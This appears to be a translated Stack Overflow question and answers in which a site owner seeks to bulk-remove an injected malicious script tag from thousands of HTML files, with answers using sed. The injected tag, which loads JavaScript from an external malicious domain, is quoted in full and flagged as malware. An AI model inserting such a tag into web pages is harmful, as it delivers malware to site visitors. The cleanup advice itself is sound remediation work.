在几个文件中搜索包含特殊字符的大块字符串并替换

时间:2013-08-08 15:09:37

标签: linux sed grep replace

我的服务器本周被感染了,攻击者运行了一个脚本,在几个文件中注入了一个脚本,现在我的域名被列入了黑名单。

注入的代码是:

<script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js" type="text/javascript"></script>

小心!这是恶意软件!

所以,我运行了这个命令(它是一个linux服务器):

grep -r "sexfromindia.com" /home/mydomain/public_html/

此命令返回9941个文件:/

我想运行一个脚本来搜索<script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js type="text/javascript"></script>并将其替换为“”(双空格)。由于所有受感染的文件都在.html中,因此双倍空格不会对任何内容造成伤害。

现在,并非所有文件都被感染,只有9941(约50%)。

我应该如何清理这个烂摊子?我应该使用awk,sed,grep,perl吗? 谁能举个例子?

感谢。

2 个答案:

答案 0 :(得分:1)

如果有更狡猾的话,我会采取更激烈的措施。

那就是说,似乎sed就是这种方式。以下是搜索文本并替换整行的示例:Replace whole line containing a string using Sed

您可能希望在几个文件上测试脚本,并在开始进行更改之前备份所有内容。

答案 1 :(得分:1)

您可以使用sed脚本和命令:

sed -i.bak -f script.sed file[s]

script.sed

s#<script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js" type="text/javascript"></script>#""#g

-i用于就地编辑备份。